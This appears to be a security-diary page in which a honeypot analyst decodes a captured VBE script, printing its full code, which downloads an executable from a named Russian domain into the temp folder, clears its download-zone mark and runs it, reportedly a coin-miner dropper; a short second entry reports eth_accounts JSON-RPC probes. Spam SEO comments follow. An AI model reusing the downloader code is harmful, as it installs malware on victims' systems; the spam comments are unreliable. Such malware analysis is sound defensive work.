VBE Embeded Script (info.zip)
My honeypot captured several copies of this file info.zip (info.vbe). I used Didier's Python script decode-vbe.py to examine the file and obtained following output:
vagrant@brain:~$ ./decode-vbe.py info.vbe
Set WshShell = CreateObject("WScript.Shell")
If Instr(1,WScript.FullName,"WScript.exe",1)>0 Then
WshShell.Run "CScript """&WScript.ScriptFullName&"""",0: WScript.Quit
End if
Tmp=WshShell.ExpandEnvironmentStrings("%TEMP%")&"\tmp2.exe"
strFileURL = "http://www.testswork.ru/tmp2.exe"
strHDLocation = Tmp
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0
Set objFSO = Createobject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End if
Set objXMLHTTP = Nothing
Echo=DosCommand("cmd /c (echo [ZoneTransfer] & echo ZoneId=0) > "&Tmp&":Zone.Identifier",2000)
Echo=DosCommand("cmd /c "&Tmp&" ",2000)
WScript.Quit
Function DosCommand(command,sleep)
Set WshExec=WshShell.Exec(command): WScript.Sleep sleep: WshExec.Terminate()
DosCommand=WshExec.StdOut.ReadAll
This VBE encoded script is currently detected by 41 AV engines and associated with a Coin Miner. The file in this URL is no longer active but the domain still resolves and should be blocked.
[1] https://blog.didierstevens.com/2016/03/29/decoding-vbe/
[2] https://www.virustotal.com/#/file/30daba44a4a25ff5750508613f897057a55337458f19b562e2ed1172c77e626b/detection
-----------
Guy Bruneau IPSS Inc.
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu
jsonrpc Scanning for root account
In the past few weeks I have noticed this type of POST activity showing in my honeypot {"id":0,"jsonrpc":"2.0","method":"eth_accounts"} looking for ID 0 (root). Activity has a static source port of 65535 and destination port 8080.
Do you have logs to share related to this type of activity?
[1] https://github.com/ethereum/wiki/wiki/JSON-RPC
[2] https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_accounts
-----------
Guy Bruneau IPSS Inc.
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu
Comments
Anonymous
Dec 3rd 2022
9 months ago
Anonymous
Dec 3rd 2022
9 months ago
<a hreaf="https://technolytical.com/">the social network</a> is described as follows because they respect your privacy and keep your data secure. The social networks are not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go.
<a hreaf="https://technolytical.com/">the social network</a> is not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go. The social networks only collect the minimum amount of information required for the service that they provide. Your personal information is kept private, and is never shared with other companies without your permission
Anonymous
Dec 26th 2022
8 months ago
Anonymous
Dec 26th 2022
8 months ago
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<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
Anonymous
Dec 26th 2022
8 months ago
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
Anonymous
Dec 26th 2022
8 months ago
Anonymous
Dec 26th 2022
8 months ago
https://defineprogramming.com/
Dec 26th 2022
8 months ago
distribute malware. Even if the URL listed on the ad shows a legitimate website, subsequent ad traffic can easily lead to a fake page. Different types of malware are distributed in this manner. I've seen IcedID (Bokbot), Gozi/ISFB, and various information stealers distributed through fake software websites that were provided through Google ad traffic. I submitted malicious files from this example to VirusTotal and found a low rate of detection, with some files not showing as malware at all. Additionally, domains associated with this infection frequently change. That might make it hard to detect.
https://clickercounter.org/
https://defineprogramming.com/
Dec 26th 2022
8 months ago
rthrth
Jan 2nd 2023
8 months ago